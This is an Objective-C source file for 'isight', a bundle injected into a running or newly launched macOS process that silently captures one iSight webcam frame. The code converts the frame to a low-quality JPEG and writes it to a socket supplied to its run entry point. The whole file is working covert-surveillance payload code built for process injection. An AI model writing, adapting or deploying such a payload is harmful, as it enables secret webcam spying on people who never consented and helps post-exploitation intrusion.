121 lines
3.4 KiB
Matlab
121 lines
3.4 KiB
Matlab
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/**********************************************************************
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* NAME
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*
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* isight -- An injectable bundle to capture an image from the
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* attached iSight video camera.
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*
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* SYNOPSIS
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* inject-bundle isight <pid>
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* inject-bundle isight <cmd> [ <args> ... ]
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* run-bundle isight
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*
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* DESCRIPTION
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* This bundle is meant to be injected into a running or newly
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* launched process by inject-bundle. It will capture a single
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* image from the iSight video camera and store it as
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* /tmp/isight.jpg.
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*
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* This bundle uses Tim Omernick's CocoaSequence Grabber from
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* MacFUSE procfs.
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*
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* LICENSE
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* Due to inclusion of GPL-licensed code, this bundle is also
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* licended under the GNU Public License.
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*
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**********************************************************************/
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#import "CocoaSequenceGrabber.h"
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BOOL shouldKeepRunning = YES;
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/*
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* This delegate handles the didReceiveFrame callback from CSGCamera,
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* which we use to convert the image to a JPEG.
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*/
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@interface CSGCameraDelegate : CSGCamera
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{
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CFMutableDataRef data;
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}
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/*
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* Assign a CFMutableDataRef to receive JPEG image data
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*/
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- (void)setDataRef:(CFMutableDataRef)dataRef;
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/*
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* Convert captured frame into a JPEG datastream, stored in a CFDataRef
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*/
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- (void)camera:(CSGCamera *)aCamera didReceiveFrame:(CSGImage *)aFrame;
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@end
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@implementation CSGCameraDelegate
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- (void)setDataRef:(CFMutableDataRef)dataRef
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{
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data = dataRef;
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}
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- (void)camera:(CSGCamera *)aCamera didReceiveFrame:(CSGImage *)aFrame;
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{
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// First, we must convert to a TIFF bitmap
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NSBitmapImageRep *imageRep =
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[NSBitmapImageRep imageRepWithData: [aFrame TIFFRepresentation]];
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NSNumber *quality = [NSNumber numberWithFloat: 0.1];
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NSDictionary *props =
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[NSDictionary dictionaryWithObject:quality
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forKey:NSImageCompressionFactor];
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// Now convert TIFF bitmap to JPEG compressed image
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NSData *jpeg =
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[imageRep representationUsingType: NSJPEGFileType properties:props];
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// Store JPEG image in a CFDataRef
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CFIndex jpegLen = CFDataGetLength((CFDataRef)jpeg);
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CFDataSetLength(data, jpegLen);
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CFDataReplaceBytes(data, CFRangeMake((CFIndex)0, jpegLen),
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CFDataGetBytePtr((CFDataRef)jpeg), jpegLen);
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// Stop the camera and signal that we should exit the run loop
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[aCamera stop];
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shouldKeepRunning = NO;
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}
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@end
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void run(int socket)
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{
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NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
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/*
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* Use CocoaSequenceGrabber to capture a single image from the
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* iSight camera and store it as a JPEG data stream in picture.
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*/
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CFMutableDataRef picture = CFDataCreateMutable(NULL, 0);
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CSGCameraDelegate *delegate = [[CSGCameraDelegate alloc] init];
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[delegate setDataRef:picture];
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CSGCamera *camera = [[CSGCamera alloc] init];
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[camera setDelegate:delegate];
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[camera startWithSize:NSMakeSize(640, 480)];
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/*
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* Execute RunLoop until global flag is cleared
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*/
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NSRunLoop *theRL = [NSRunLoop currentRunLoop];
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while (shouldKeepRunning && [theRL runMode:NSDefaultRunLoopMode
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beforeDate:[NSDate distantFuture]]);
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/*
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* Write out picture to to socket
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*/
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if (socket > 0) {
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size_t len = CFDataGetLength(picture);
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write(socket, &len, sizeof(len));
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write(socket, CFDataGetBytePtr(picture), len);
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}
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[pool release];
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}
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